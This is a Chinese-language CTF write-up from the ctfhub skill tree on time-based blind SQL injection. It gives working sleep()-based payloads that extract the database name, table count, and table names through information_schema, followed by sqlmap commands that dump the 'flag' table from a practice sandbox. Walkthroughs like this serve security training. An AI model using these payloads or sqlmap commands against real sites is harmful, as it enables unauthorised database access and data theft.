2025.1.15——五、时间盲注

题目来源:ctfhub技能树

目录

一、基本操作:整理已知信息,得本题为时间盲注

二、手工注入解题

[step 1:手工注入确认为时间盲注](#step 1:手工注入确认为时间盲注)

[step 2:爆数据库长度、名称](#step 2:爆数据库长度、名称)

1.数据库长度

2.数据库名

[step 3:爆表数、长度、名称](#step 3:爆表数、长度、名称)

1.爆表数

2.爆表名长度

3.爆具体名称

三、sqlmap解题

step1:爆数据库名

[step 2:爆表名](#step 2:爆表名)

[step 3:爆列名](#step 3:爆列名)

[step 4:爆具体数据](#step 4:爆具体数据)

四、小结


一、基本操作:整理已知信息,得本题为时间盲注

二、手工注入解题

step 1:手工注入确认为时间盲注

键入:1

键入:1'

以上均无反应

但一下payload

sql 复制代码
 1 and sleep(10)

明显感觉到延迟

step 2:爆数据库长度、名称

1.数据库长度

sql 复制代码
1 and if(length(database())=4,sleep(10),1)

2.数据库名

sql 复制代码
1 and if(ascii(substr(database(),1,1))>110,sleep(5),1)

先判断字符范围

逐步确认信息

sql 复制代码
1 and if(ascii(substr(database(),1,1))=115,sleep(15),1)

逐步得到信息115 113 108 105,得数据库名是sqli

step 3:爆表数、长度、名称

1.爆表数

sql 复制代码
1 and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1)

2.爆表名长度

正确payload如下

sql 复制代码
1 and if(length((select table_name from information_schema.tables where table_schema='sqli' limit 0,1))=4,sleep(10),1)

注:这里length()函数中需要一个括号将select语句括起来,才算完整,否则运行不下去

3.爆具体名称

以下payload无语法错误,但是运行不出来是因为表排列顺序不同

1 and if(ascii((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1)=110,sleep(15),1)

1 and if(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1)='n',sleep(15),1)

1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=110,sleep(15),1)

正确payload如下

sql 复制代码
1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=102,sleep(5),1)

这里的问题是表的顺序,第一个表是news,第二个表是flag

三、sqlmap解题

sqlmap爆数据库名、表名、列名、具体数据形式

sqlmap -u url --current-db

sqlmap -u url -D sqli --tables

sqlmap -u url -D sqli -T flag --columns

sqlmap -u url -D sqli -T flag -C flag --dump

step1:爆数据库名

sql 复制代码
python sqlmap.py -u http://challenge-230a0a451072c076.sandbox.ctfhub.com:10800/?id=1 --current-db

step 2:爆表名

sql 复制代码
python sqlmap.py -u http://challenge-230a0a451072c076.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables

step 3:爆列名

sql 复制代码
python sqlmap.py -u http://challenge-230a0a451072c076.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns

step 4:爆具体数据

sql 复制代码
python sqlmap.py -u http://challenge-230a0a451072c076.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump

四、小结

sqlmap中有value字样,是说有几个值,比如爆具体数据时显示1,说明有一个值在其中

相关推荐
二进制的Liao4 分钟前
【编程】脚本编写入门:从零到一的自动化之旅
数据库·python·算法·自动化·bash
影子24016 分钟前
oralce创建种子表,使用存储过程生成最大值sql,考虑并发,不考虑并发的脚本,plsql调试存储过程,java调用存储过程示例代码
java·数据库·sql
武子康11 分钟前
Java-172 Neo4j 访问方式实战:嵌入式 vs 服务器(含 Java 示例与踩坑)
java·服务器·数据库·sql·spring·nosql·neo4j
山石网科13 分钟前
标准解读|即将实施的三份汽车安全强制性标准
安全·汽车
东方隐侠安全团队-千里43 分钟前
第13节 93年高能所被入侵,开启中国网络安全发展进程
网络·安全·web安全
kyle~44 分钟前
计算机网络---传输层安全 SSL与TLS
计算机网络·安全·ssl
昂子的博客1 小时前
Redis缓存 更新策略 双写一致 缓存穿透 击穿 雪崩 解决方案... 一篇文章带你学透
java·数据库·redis·后端·spring·缓存
xixixi777771 小时前
了解一下APM工具——就像给软件系统装的“全身CT”,能实时透视从用户点击到后端数据库的每个环节性能,精准定位哪里慢、为什么慢
数据库·安全·数据采集·apm·日志监控
q***9941 小时前
PON架构(全光网络)
网络·数据库·架构
Leon-Ning Liu1 小时前
Oracle查看正在rebuild online的索引
数据库·oracle